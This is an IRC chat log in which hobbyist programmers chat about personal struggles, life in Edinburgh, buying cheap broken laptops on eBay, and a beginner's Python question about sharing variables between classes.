[15:16]<+camerongray> [22:14:06] <camerongray> Sorry.
[15:16]<+camerongray> They have serious attitude problems
[15:16]<+camerongray> This "constant talking" was 3 lines (2 questions)
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[15:29]<+camerongray> wb jamer
[15:30]<jamer> Thanks
[15:30]<jamer> Was there a ddos or something?
[15:31]<@BC_Programming> huh?
[15:32]<jamer> I got a million versions things
[15:33]<+camerongray> Same here, botnet type thing
[15:33]<+camerongray> Happened a lot recently
[15:38]<jamer> It crashed my connection
[15:42]<@BC_Programming> I feel left out since I didn't get VERSION'd
[16:38]<+camerongray> lol. now lostocast is asking someone else with MSDN for keys
[16:38]<+camerongray> I thought he was just joking when he asked me!
[16:44]<+camerongray> Nice! [23:42:05] <IndianaJoe> I don't have enough keys to give away, and they have further reduced the quantity. The keys have no value, and cannot be sold
[17:06]<jamer> Im really starting to hate life
[17:12]<+camerongray> Uh oh :P
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[17:14]<+camerongray> jamer: What's up?
[17:15]<jamer> Just everything in my life is a complete wreck
[17:15]<+camerongray> Nah it's not!
[17:19]<jamer> I have no job no car and no money to fix the car I have :/ I cant seem to find a girlfriend and yiu guys are pretty much the only friends that actually talk to me :/
[17:20]<+camerongray> You're still young :P - And don't talk to me about girlfriends :P
[17:20]<+camerongray> And I can;t even drive!
[17:24]<jamer> Lol
[17:31]<jamer> Camerongrey you also live in the city
[17:33]<+camerongray> true
[17:34]<+camerongray> Wait until you go to college/university, so much better being around like-minded people
[17:34]<+camerongray> Was the same for me - Everyone at uni was always the "guy who likes computers" at school
[17:36]<jamer> Thats even if I can afford to go :/
[17:37]<+camerongray> Ahh yeah, there is that
[17:37]<+camerongray> Aren't there any government funding things?
[17:38]<jamer> If there was I wish I knew
[17:38]<+camerongray> Ahh, take a look
[17:38]<+camerongray> There certainly is here
[17:38]<jamer> Your in the uk also ... me not so much
[17:38]<+camerongray> Any student can get a loan of at least ?4500 a year
[17:38]<+camerongray> The US is good too :P
[17:40]<jamer> We have govt grants but here the rates for it kills you and our education is so expensive that either we have to take loans to pay it or we dont go
[17:40]<+camerongray> Ahh yeah
[17:41]<+camerongray> Edinburgh Uni is ?9,500 a year but the government fund it for Scottish students so we are very lucky
[17:43]<jamer> I would love to go over there to live
[17:44]<+camerongray> But do look into government funding, here, people from disadvantaged backgrounds can get bursaries (don't have to pay back) or loans (pay back but only after you are earning a decent ammount at a low rate)
[17:45]<jamer> Theres a few things but I dont think I can get anything
[17:45]<+camerongray> Hmm, worth a try though, if you can't afford it there should be something
[17:45]<jamer> 1 is that im adopted
[17:46]<jamer> The 2nd is the one of my adopted parents died :/
[17:46]<+camerongray> Really sorry to hear that
[17:46]<+camerongray> Although that shouldn't affect anything
[17:47]<+camerongray> Here it works off of your household income so that'll be the income of whoever you live with
[17:48]<jamer> My grandpa (grandparents adopted me) he earns too much for anything
[17:48]<+camerongray> Ahh
[17:48]<+camerongray> hmm
[17:49]<jamer> Between a rock and a hard place
[17:49]<+camerongray> Have you tried manually contacting the funding agency? They could hopefully set up something
[17:50]<jamer> Not yet
[17:50]<+camerongray> Ahh, I'd try that
[17:50]<+camerongray> Phoning would be best - They might be able to give some advice
[17:51]<+camerongray> Someone like you here would literally get money thrown at you - There MUST be a way in the US
[17:54]<jamer> You wanna know something sad ... all the scholarships here are given to the people who cheat and lie their way to the top and often have the money for the college of their choice yet the people who actually attempted and tried in school who need the money arent given it and said how they werent smart enough and all the bs
[17:55]<+camerongray> Yeah, it's similar here
[17:55]<+camerongray> I know a few people who cheat to get stuff like that
[17:56]<jamer> All of our honor students besides 2 cheat and take answers from others
[17:56]<+camerongray> Ahh!
[17:56]<+camerongray> Do you have to pay for High School too?
[17:56]<jamer> Ours is mostly state funded
[17:56]<+camerongray> Ahh yeah
[17:57]<+camerongray> How does honours work?
[17:57]<jamer> We have book and tech fees
[17:57]<jamer> Honors here is if you have all a's and the teachers like you
[17:57]<+camerongray> Ahh
[17:58]<jamer> The people who are in these committees against teen drinking are the teens who often are found at parties
[17:58]<+camerongray> lol, yeah
[17:59]<+camerongray> Oh yeah, the legal age in the US is 21
[17:59]<+camerongray> All the US students here couldn't believe it when they found out it was 18 here
[17:59]<jamer> I dont drink
[18:00]<+camerongray> Yeah, I'm very sensible
[18:00]<+camerongray> Unlike some people :P
[18:00]<jamer> I just dont like the taste of it
[18:01]<+camerongray> Ahh, I don't mind it but would never get drunk :P
[18:01]<jamer> Drunk only once
[18:01]<+camerongray> Especially since I'm clumsy at the best of times
[18:02]<jamer> Lol
[18:02]<+camerongray> I'm actually known for it :P
[18:03]<jamer> Im not clumsy lol
[18:04]<+camerongray> Like when friends see me using a knife - "Watch out, don't drop it on your foot"
[18:04]<+camerongray> Which is something I would do!
[18:04]<jamer> Lol
[18:04]<jamer> I know how to throw knives XD
[18:05]<+camerongray> eep!
[18:05]<+camerongray> I stabbed my self semi-on purpose!
[18:05]<jamer> Lol
[18:06]<+camerongray> Got given a traditional Scottish dagger for my 18th ("Sgian Dubh") - First reaction "Is this sharp" *stabs hand*
[18:06]<+camerongray> It was
[18:06]<jamer> If me and you wetent an ocean awsy I bet we would b we good friends XD
[18:06]<jamer> Lol
[18:06]<+camerongray> Yeah :P
[18:06]<+camerongray> Once you can afford it you should come over here on holiday
[18:07]<+camerongray> Lots do do especially in the summer
[18:07]<jamer> Yesh
[18:07]<+camerongray> !g Edinburgh Festival Wikipedia
[18:08]<+camerongray> Fine then! Be like that ChanbotVII
[18:08]<+camerongray> http://en.wikipedia.org/wiki/Edinburgh_Festival
[18:08]<jamer> Lol!
[18:08]<jamer> We have carnivals but they arent thay large
[18:09]<+camerongray> Yeah, this is huge
[18:09]<+camerongray> City wide
[18:09]<jamer> Nearest city for me is 20-30 miles away
[18:09]<+camerongray> The number of times I have wanted a T-Shirt saying "I don't want a leaflet"
[18:10]<+camerongray> Ahh yeah
[18:10]<jamer> We could make one XD
[18:10]<+camerongray> It's a pretty small city though
[18:10]<jamer> Lima ohio is the nearest city
[18:10]<+camerongray> Ahh
[18:10]<+camerongray> No big tower block type things here
[18:10]<+camerongray> Everything is very old in the center
[18:11]<jamer> We have no history here ... XF
[18:11]<+camerongray> Yeah, that's what I love here
[18:11]<+camerongray> You forget it though
[18:12]<jamer> Mostly ourr history is less than 100 years old
[18:13]<jamer> My area no usa
[18:13]<+camerongray> Walking down street "I wish these people would stop standing in the way taking photos, it's just the castle" "Oh yeah, it's a castle from the 12th century built on top of a volcano that was shaped by a glacier"
[18:13]<jamer> Lol
[18:14]<jamer> Its beautiful over there ... here its jusy corn ... and more corn
[18:14]<+camerongray> And there is still a canon fired every day at 1pm
[18:15]<jamer> Lol
[18:15]<+camerongray> Yeah: http://upload.wikimedia.org/wikipedia/commons/d/da/View_of_Edinburgh_from_Blackford_Hill_2.jpg
[18:15]<+camerongray> That hill is just behind my house
[18:15]<jamer> Nice
[18:15]<+camerongray> If you look in the middle-left area there is a white tower block, voted the ugliest building in the city
[18:15]<+camerongray> Also where the informatics computing labs are :P
[18:15]<jamer> Lol
[18:16]<+camerongray> Actually - Under that there is a redish building, I'm moving to a flat next door to that :P
[18:16]<+camerongray> Shows how small the city is where you can fit it into a single photo
[18:17]<+camerongray> The hill on the right is also an extinct volcano
[18:18]<+camerongray> But it exploded so the top is out in the sea and is now full of birds
[18:18]<+camerongray> Like an island
[18:18]<jamer> You could easily fit where I live ay in a small photo
[18:18]<jamer> Blink and yould miss it
[18:19]<+camerongray> Ahh
[18:19]<+camerongray> There's a lot of residential areas that sprawl out quite far
[18:19]<+camerongray> No real areas in the countryside, just a few farms
[18:22]<jamer> Eh ... better than here
[18:22]<+camerongray> Yeah
[18:23]<+camerongray> I do like it here, I'm not really into traditional stuff but I like all the old Scottish stuff
[18:24]<jamer> Lol
[18:24]<+camerongray> You'd never catch me going to a wedding in a suit :P ALWAYS a kilt!
[18:30]<jamer> Heh ... little windy down there XD
[18:30]<+camerongray> heheeh, surprisingly warm
[18:30]<+camerongray> Too hot in fact!
[18:31]<+camerongray> Weighs around 4lbs
[18:31]<jamer> Lol
[18:32]<jamer> I dont think im gonna get a email back on the laptop
[18:35]<+camerongray> Ahh, can you call them?
[18:36]<jamer> Didnt leave a number
[18:36]<+camerongray> Ahh
[18:37]<+camerongray> I suppose it could have been a mistake
[18:38]<jamer> Maybe
[18:38]<jamer> But you can delete it off
[18:39]<+camerongray> Hmm yeah
[18:40]<+camerongray> See if you can find any broken ones on ebay though
[18:40]<+camerongray> I just fixed up an HP Probook 4515s for around ?80
[18:41]<jamer> Ive only got 50 dollars atm
[18:42]<+camerongray> Could still do something for that
[18:42]<+camerongray> I got a Pentium Dual core one for ?10.50 with ?10 postage
[18:42]<+camerongray> All it needed was a HDD and mains adapter
[18:43]<jamer> Everything here is alot more expensove
[18:44]<+camerongray> Yeah
[18:44]<jamer> The laptop I was looking ay I didnt care about the hdd the rest was fine
[18:44]<+camerongray> But try going on the laptops category, set time to ending soonest and autions only
[18:45]<+camerongray> Set a max price too
[18:45]<+camerongray> That's how I got mine
[18:45]<jamer> Another issue is no credit card XD
[18:45]<+camerongray> Ahh, I don't have a credit card but I have a debit one
[18:46]<+camerongray> Lots of stuff is more expensive here - My x230 costs ?1250 from Lenovo in the UK
[18:46]<jamer> Ive got neither
[18:46]<+camerongray> Last time I checked it was under $1000 in the US
[18:46]<+camerongray> And that's in $
[18:46]<+camerongray> ?1250 is almost $1900
[18:47]<jamer> Yeah
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[18:51]<lucifer> sorry camerongray im on the family laptop now
[18:51]<+camerongray> np
[18:54]<lucifer> http://limaohio.craigslist.org/sya/
[18:54]<lucifer> ns ghost jamer
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[18:55]<lucifer> basically everything is overpriced and thats the price they want for it or you dont buy it
[18:59]<lucifer> the sad thing is camerongray that i could sell my desktop that i built and it would get get 150-200 dollars if it sold on craigslist
[18:59]<+camerongray> Yeah, but you use that :P
[19:00]<lucifer> yeah
[19:02]<+camerongray> Just keep applying for jobs
[19:02]<+camerongray> Even ones that seem pointless, any experience is good experience
[19:02]<lucifer> true but that leads to another issue ... how would i get there
[19:02]<+camerongray> Yeah :K
[19:03]<+camerongray> I suppose if you got the job you could borrow money from someone to fix your car and pay them back once you had worked for a while
[19:04]<lucifer> true but another idiot issue is that apparently im not allowed to work (grandpa) because of the fact im the only person in the house of 5 that does any chores ....
[19:05]<lucifer> :(
[19:05]<+camerongray> Ahh, hmm
[19:05]<+camerongray> You;d have to discuss that with him
[19:05]<lucifer> ive tried ...
[19:06]<+camerongray> Would be pretty mad for him to not allow you to get a job
[19:06]<+camerongray> You could even work part-time, it's not like it would stop you doing chores
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[19:06]<lucifer> O.o stupid phone
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[19:10]<lucifer> craiglist i feel is a complete joke :/
[19:11]<+camerongray> Yeah, there's a similar site here but i'm always wary
[19:11]<+camerongray> At least with ebay you get protection
[19:14]<lucifer> yeah
[19:25]<lucifer> what actually bugs the hell is people selling the laptops without the adapters
[19:35]<+Tux2> lol, my parents actually bought their van off of craigslist
[19:35]<lucifer> http://www.ebay.com/itm/SONY-VAIO-PCG-5A1L-Notebook-Computer-Laptop-/271156449421?pt=Laptops_Nov05&hash=item3f222f108d
[19:35]<lucifer> not sure on this
[19:35]<+camerongray> Hmm
[19:36]<+camerongray> I generally avoid pentium M and older but depends on the market where you are
[19:37]<+camerongray> Try doing what I do with ending soonest and set a max price
[19:37]<+camerongray> Quite a lot there
[19:38]<lucifer> i think its a core 2 due
[19:38]<+camerongray> Nah, pentium m
[19:38]<+camerongray> You can tell by the sticker
[19:38]<+camerongray> Also comes in very useful when flicking through listings
[19:39]<+camerongray> Trick is decide a max you would pay for it given any possible faults that aren't listed then bid at the last minuite if it's still under your max
[19:39]<+camerongray> And stick to your max!
[19:39]<+camerongray> You will lose a lot more than you win, but when you do win it's a bargain!
[19:40]<+camerongray> You do need to factor in a bit for repairs of unknown faults, turned out the probook needed a new keyboard
[19:41]<+camerongray> Ideally don't bid more than you could sell parts for
[19:41]<+camerongray> That way if it isn't worth fixing you can always strip it and sell the parts to get your money back
[19:41]<+Tux2> Good advice
[19:42]<+camerongray> Like this probook is great now I've fixed it
[19:42]<+camerongray> AND I learn a lot doing it
[19:43]<+camerongray> I started off doing this with around ?50 budget - Ended up making ?100 profit!
[19:44]<+camerongray> Just waiting on a hard drive for the probook and a few more machines
[19:45]<+camerongray> And you can end up with bargains like this: http://www.ebay.co.uk/itm/Old-laptops-/330921270848?_trksid=p2047675.l2557&ssPageName=STRK%3AMEWNX%3AIT&nma=true&si=xTfqh8tFRGfF951EH%252FXv4e2%252BTmI%253D&orig_cvip=true&rt=nc
[19:45]<+camerongray> 2 of them are worthless (Pentium 3) but there is a Pentium Dual Core in there
[19:46]<+camerongray> And the Toshiba could be anything from a Celeron M to a Core 2 Duo
[19:58]<lucifer> oh well :/
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[19:59]<+camerongray> Keep looking though
[19:59]<+camerongray> There are ages with none, then something really good shows up
[20:01]<jamer> Ok
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[20:02]<iSyntax> anyone home?
[20:03]<+Tux2> iSyntax: I'm here
[20:03]<+Tux2> What's up?
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[20:07]<iSyntax> just wonderun if anyone could help me with a python thing im workn on
[20:07]<iSyntax> im tryn to self teach python and i just dont understand a concept
[20:09]<+Tux2> Ah, well, I'm no python expert, but I can try helping
[20:09]<+Tux2> I'm primarily a java coder
[20:09]<iSyntax> ok well. let me explain the concpet.
[20:10]<iSyntax> a variable is defined in one method in classA. now how do i pull the variable from classA into a method of classB
[20:10]<iSyntax> is it possible or must i use subclasses?
[20:11]<+Tux2> You need to pass that variable in a function
[20:12]<Nat> hey what's up?
[20:12]<+camerongray> hey Nat
[20:12]<+Tux2> Nat: iSyntax is needing some python help
[20:12]<Nat> yay python
[20:12]<Nat> what's up?
[20:12]<+Tux2> read the chat log
[20:12]<iSyntax> hey Nat
[20:12]<iSyntax> i hope im not buggn u
[20:12]<iSyntax> im just a wannabe computer wizard.
[20:12]<Nat> no problem
[20:13]<Nat> give me a moment to read the chatlog
[20:13]<Nat> oh i see
[20:13]<iSyntax> i can pastebin my code
[20:13]<Nat> yeah that would be helpful
[20:13]<iSyntax> so u can see what im trying to do
[20:13]<iSyntax> ok please stand by
[20:15]<iSyntax> im gettin g a traceback error.
[20:15]<iSyntax> http://pastebin.com/dKHspmxm
[20:16]<iSyntax> so an input of objA.runtimeconverter('21:30')
[20:17]<iSyntax> would produce 79(the score for the run time.)
[20:17]<iSyntax> i am making a scoring app to track scores for various aspects of a physical fitness test
[20:17]<Nat> sounds cool
[20:17]<iSyntax> now i need to be able to get the variable defined in the first class to be usable in the second class
[20:18]<iSyntax> i just had it too i changed symn around and im gettn errors
[20:18]<Nat> which variable?
[20:18]<Nat> there don't seem to be any variable belonging to the first class
[20:18]<Nat> i just see two methods
[20:20]<iSyntax> runscore = self.var
[20:20]<iSyntax> in the second method
[20:21]<iSyntax> u c me being uneducated(yet) i start college sooni just do this to give myself a head start. i dont know if what im doing is archutecturaly possible
[20:22]<Nat> but
[20:22]<Nat> ok
[20:22]<Nat> what you're doing is your setting the variable runscore, to the value self.var
[20:23]<iSyntax> yes
[20:23]<Nat> but self.var doesn't have a value
[20:23]<Nat> nor does runscore
[20:23]<Nat> i would be surprised if it worked even for objectA
[20:23]<Nat> oh wait
[20:23]<Nat> i'm being stupid...
[20:24]<iSyntax> self.var=(buncha math) in the first method doesnt define the self.var?
[20:24]<Nat> well kinda
[20:24]<Nat> you aren't running that method
[20:24]<iSyntax> do u have a module to run it
[20:24]<iSyntax> it works
[20:24]<Nat> so self.var never gets a value
[20:24]<iSyntax> objA.runtimeconverter('21:30')
[20:24]<iSyntax> then objA.printrunscore()
[20:24]<iSyntax> produces a resposne of >>> 79.0
[20:24]<iSyntax> it works
[20:25]<iSyntax> now i need to be able to draw that response in aother class
[20:25]<Nat> also something that you're doing that doesn't make sense is that you're printing method
[20:25]<iSyntax> omg
[20:25]<iSyntax> facepalm i need to use return
[20:25]<Nat> yeah
[20:26]<Nat> though general good Python syntax is that any class-scope variable should be initialized the __init__ method
[20:26]<Nat> that way someone can look to see what variables belong to that class at a glance
[20:26]<Nat> which is why i was getting confused at self.var
[20:27]<Nat> if i recall correctly Java forces you to declare class-scoped variables at the top of the class
[20:27]<iSyntax> _init_ i havnt learned yet
[20:27]<Nat> oh
[20:27]<iSyntax> it appears i am over my head with my intentions
[20:27]<Nat> in my opinion there's no such thing
[20:27]<iSyntax> i must go further into python before i tackle a task like this cause the rest of the program is much larger this is a fraction of the scores that must be entered
[20:28]<Nat> if you never try it, you'll never learn it
[20:28]<Nat> i mean i don't know
[20:28]<Nat> i learn by project. a lot of things i make have components in them that i would have never known about before making the project
[20:28]<+Tux2> Nat: java allows you to declare class scope variables anywhere outside of a function.
[20:28]<iSyntax> well i nevver learned about calling on variables defined in another class so what i must do is study how to do so and this _init_ function
[20:29]<iSyntax> u r right Nat and this project is not over. i just need to read up on what im doing lol
[20:29]<Nat> Tux2, which is unlike Python which allows you to declare class-scope variables that never existed until a certain function was called :D
[20:30]<iSyntax> so i wont get an error if i run a method that has a yet to be defined variable from another method
[20:30]<iSyntax> correct?
[20:31]<iSyntax> ok so what i need to do is to find a way to define that variable self.var
[20:32]<iSyntax> and i thought self.var(self making it referencable through the function var just being the name of the variable) was a neccisary name
[20:32]<iSyntax> i cant just name it x or t or some other random variable
[20:32]<+camerongray> g2g, need sleep
[20:32]<iSyntax> bye camerongray
[20:32]<+camerongray> Oh hey iSyntax - And bye :P
[20:33]<+Tux2> night camerongray
[20:37]<iSyntax> SOLVED IT
[20:37]<iSyntax> BOO YAAA
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[20:38]<iSyntax> excuse me
[20:38]<iSyntax> http://pastebin.com/Cu5VFsgH
[20:38]<iSyntax> check this out
[20:38]<iSyntax> works perfect
[20:59]<Nat> nice
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[23:34]<+Tux2> Ugh, I hate it when people demand that you help them
[23:35]<+Tux2> I was gone enjoying my saturday with my family, with my phone on me so if there was an emergency someone could email me.
[23:36]<+Tux2> Well, I guess some people can't read... I had some guy yelling at me in my skype to figure out what was wrong with his server and to answer him immediately...
[23:36]<+Tux2> Problem was... I don't usually have skype open on my phone and I left my laptop on
[23:37]<+Tux2> I was out of the house for quite some time
[23:42]<Nat> sounds annoying
[23:44]<+Tux2> lol, yeah
[23:44]<+Tux2> I already have a guilt trip laid out for him just waiting for him to log into skype to see it.
[23:49]<+Tux2> Give it about a minute to upload: https://dl.dropboxusercontent.com/u/35110620/Skype%20Rage.png